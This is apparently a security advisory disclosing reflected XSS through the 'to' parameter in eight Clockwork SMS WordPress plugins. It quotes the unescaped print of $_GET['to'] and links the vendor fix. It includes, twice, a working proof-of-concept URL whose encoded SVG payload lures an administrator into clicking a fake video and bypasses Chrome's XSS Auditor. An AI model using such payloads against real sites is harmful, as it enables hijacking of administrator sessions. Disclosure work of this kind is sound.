+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Discoverer: Elias Dimopoulos Linkedin: https://gr.linkedin.com/in/dimopouloselias Vulnerability Type: Reflected XSS via GET parameter "to". Vendor of the affected plugins: https://www.clockworksms.com/plugins/ Affected Plugins: ---------------------------------------------------------------------------------------------------------- 1. Clockwork Free and Paid SMS Notifications URL: https://wordpress.org/plugins/mediaburst-email-to-sms/ Version 2.0.3 | By Clockwork 2. Two-Factor Authentication - Clockwork SMS URL: https://wordpress.org/plugins/clockwork-two-factor-authentication/ Version 1.0.2 | By Clockwork 3. Booking Calendar - Clockwork SMS URL: https://wordpress.org/plugins/booking-sms/ Version 1.0.5 |By Mediaburst 4. Contact Form 7 - Clockwork SMS URL: https://wordpress.org/plugins/contact-form-7-sms-addon/ Version 2.3.0 |By Mediaburst 5. Fast Secure Contact Form - Clockwork SMS URL: https://wordpress.org/plugins/fscf-sms/ Version 2.1.2|By Mediaburst 6. Formidable - Clockwork SMS URL: https://wordpress.org/plugins/formidable-sms/ Version 1.0.2|By Mediaburst 7. Gravity Forms - Clockwork SMS URL: https://wordpress.org/plugins/gravity-forms-sms-notifications/ Version 2.2 |By Mediaburst 8. WP e-Commerce - Clockwork SMS URL: https://wordpress.org/plugins/mediaburst-ecommerce-sms-notifications/ Version 2.0.5 | By Mediaburst ---------------------------------------------------------------------------------------------------------- Details: The vulnerability lies in the "to" parameter and can cause reflected XSS vulnerability. The issue is on the file plugins/clockwork-two-factor-authentication/templates/clockwork-test-message.php line 11:
You should now have received a text message to . If you have not received this, copy and paste the contents of the textbox below into a support request.
the vulnerable code is the following: print $_GET['to']; There is a print of the variable "to", which can be controlled by the user. This leads to reflected XSS vulnerability. The vulnerability can be exploited against an administrator by using the following url: http://victim/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E A logged in Administrator, who will click on the above link, he will be introduced with a video picture. When he will click the video, the javascript code (an alert box for this poc) will be executed. In this case, the javascript code is just an alert box with the cookie, however any kind of malicious javascript code can be used. Reproduce: 1. Login to your wordpress as an admin. 2. Access the following link: http://yoursite/wp-admin/admin.php?page=clockwork_test_message&to=your+e-mail.%3Cbr%3E%3C%2Fbr%3EPlease+Watch+the+video+before+proceeding%3A%3Cbr%3E%3Cbr%3E%3Csvg+width%3D12cm+height%3D9cm%3E%3Ca%3E%3Cimage+href%3D%2F%2Fbrutelogic.com.br%2Fyt.jpg+%2F%3E%3Canimate+attributeName%3Dhref+values%3Djavas%26%2399ript%3Aalert%28document.cookie%29%3E 3. You should see the fake video. 4. Click to see the video. 5. The alert box should be executed. I used this kind of payload in order to bypass the Chrome XSS Auditor. Update on 12 Nov: This payload does not work anymore with Chrome. You can validate the issue from the source code in the following URL or, you can alter the payload in order to trigger the XSS. Changes in the code: https://plugins.trac.wordpress.org/changeset/1781424/clockwork-two-factor-authentication/trunk/templates/clockwork-test-message.php?old=706348&old_path=clockwork-two-factor-authentication%2Ftrunk%2Ftemplates%2Fclockwork-test-message.php Environment: The vulnerability has been tested against: Two-Factor Authentication - Clockwork SMS Version: 1.0.2 WordPress 4.8.3 running Twenty Seventeen theme. Chrome Version 61.0.3163.100 (Official Build) (64-bit) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Note 1: The dynamic analysis (PoC) has been performed against the "Two-Factor Authentication - Clockwork SMS" . However, the file clockwork-test-message.php with the vulnerable code in line 11 , exists in every of the 8 aforementioned plugins. Note 2: gr33tz for the initial payload @brutelogic (https://brutelogic.com.br/blog/chrome-xss-auditor-svg-bypass/) ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------